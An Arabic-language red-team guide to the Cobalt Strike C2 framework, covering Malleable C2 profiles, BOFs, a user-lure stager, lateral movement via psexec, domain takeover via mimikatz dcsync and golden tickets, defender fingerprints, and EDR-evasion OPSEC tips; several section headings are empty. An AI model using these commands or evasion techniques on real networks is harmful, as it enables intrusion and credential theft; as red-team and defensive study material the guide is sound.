دليل Cobalt Strike الشامل

تُعد Cobalt Strike المنصة التجارية الأبرز لمحاكاة الخصوم (Adversary Emulation). وهي نظام القيادة والسيطرة (C2) الفعلي للفرق الحمراء (Red Teams) منذ عام 2017 وحتى الآن (وللأسف، تستخدمها أيضاً عصابات برمجيات الفدية عبر النسخ المقرصنة). نقاط قوتها تكمن في ملفات تعريف C2 المرنة (Malleable C2 profiles)، ومنارة الاتصال (Beacon) المتطورة، ودعم ملفات BOFs، والتعاون بين المشغلين عبر "Team Server". التكلفة: حوالي 3500 دولار للمستخدم سنوياً.

[!info] التراخيص يتم الشراء فقط عبر Fortra (HelpSystems سابقاً). النسخ المقرصنة تحتوي على أبواب خلفية (Backdoors) وعلامات مائية كاشفة للهوية. استخدام النسخ المقرصنة ضد أهداف حقيقية يعرضك للملاحقة القانونية فوراً.

المكونات الأساسية

[ خادم الفريق (Team Server) ]   ←── المشغل(ون) ← [ واجهة Aggressor ]
       │
       ▼
[ المستمعات (Listeners - HTTPS / DNS / SMB pipe) ]
       │
       ▼
[ منارات الاتصال (Beacons) على أجهزة الضحايا ]

الإعداد

من جانب المشغل:

المستمعات (Listeners)

ملفات تعريف C2 المرنة (Malleable C2 Profiles)

يقوم ملف .profile بتشكيل كل بايت في حركة مرور الـ Beacon (مثل العناوين URIs، والترويسات Headers، والكوكيز، وتشفير TLS) لمحاكاة تطبيقات مشروعة.

مجموعات ملفات عامة مرجعية: threatexpress/malleable-c2 ، rsmudge/Malleable-C2-Profiles. يجب دائماً فحص الملف باستخدام c2lint قبل البدء.

http-get "/v1/me/messages" {
    client {
        header "User-Agent" "Microsoft Office/16.0";
        metadata { netbios; base64url; uri-append; }
    }
    server {
        header "Content-Type" "application/json";
        output { netbiosu; print; }
    }
}
sleeptime 60000;
jitter 35;

أوامر الـ Beacon (للمشغل)

ملفات الـ BOF (Beacon Object Files)

هي ملفات C مجمعة يتم تشغيلها داخل ذاكرة الـ Beacon دون إنشاء عملية جديدة. أمثلة:

• inline-execute /opt/bofs/seatbelt.x64.o (للاستطلاع المحلي)
• inline-execute /opt/bofs/sharphound.x64.o (للاستطلاع في Active Directory)

المكتبة المرجعية: trustedsec/CS-Situational-Awareness-BOF.

سيناريوهات العمل (Workflows)

الوصول الأولي عبر HTTPS Stager

1. توليد Stager: Attacks → Web Drive-by → Scripted Web Delivery ← اختر powershell.
2. إغراء المستخدم بتنفيذه؛ سيتصل الـ Beacon بخادم الفريق.

التحرك الجانبي عبر SMB-pipe

beacon> spawn windows/beacon_bind_pipe
beacon> psexec_psh DC01 windows/beacon_bind_pipe
# يتصل الـ Beacon على DC01 عبر SMB من خلال الـ Beacon الأول دون الحاجة لاتصال خارجي بالإنترنت

الهيمنة على النطاق (Domain Dominance)

beacon> mimikatz lsadump::dcsync /user:krbtgt
beacon> kerberos_ticket_use golden.kirbi
beacon> elevate svc-exe DC01 windows/beacon_bind_pipe

استكشاف الأخطاء وإصلاحها

وجهة نظر المدافع (Defender)

تعتبر Cobalt Strike أكثر أداة C2 تمتلك بصمات (Fingerprints) مكشوفة:

• توقيعات Shellcode ثابتة في النسخ الافتراضية.
• بصمات JA3/JA3S للمستمعات الافتراضية معروفة جداً.
• روابط URIs الافتراضية مكشوفة ما لم يتم تغيير البروفايل.
• تقنيات البحث في الذاكرة مثل BeaconHunter و BeaconEye يمكنها استخراج إعدادات الـ Beacon.

الأمن العملياتي (OPSEC)

• دائماً: استخدم ملف تعريف C2 مرن + تقنيات إخفاء في الذاكرة (Sleep Mask) + تعديلات Artifact Kit. النسخة الافتراضية تُكشف خلال 5 دقائق بواسطة أي EDR حديث.
• استخدم تراخيص وشهادات مختلفة لكل مهمة؛ العلامات المائية في الملفات الثنائية يمكن استرجاعها بعد الحادثة.
• استخدام موجهات الاتصال (Redirectors) إلزامي؛ لا تسمح أبداً للـ Beacons بالاتصال المباشر بخادم الفريق.

أدوات ذات صلة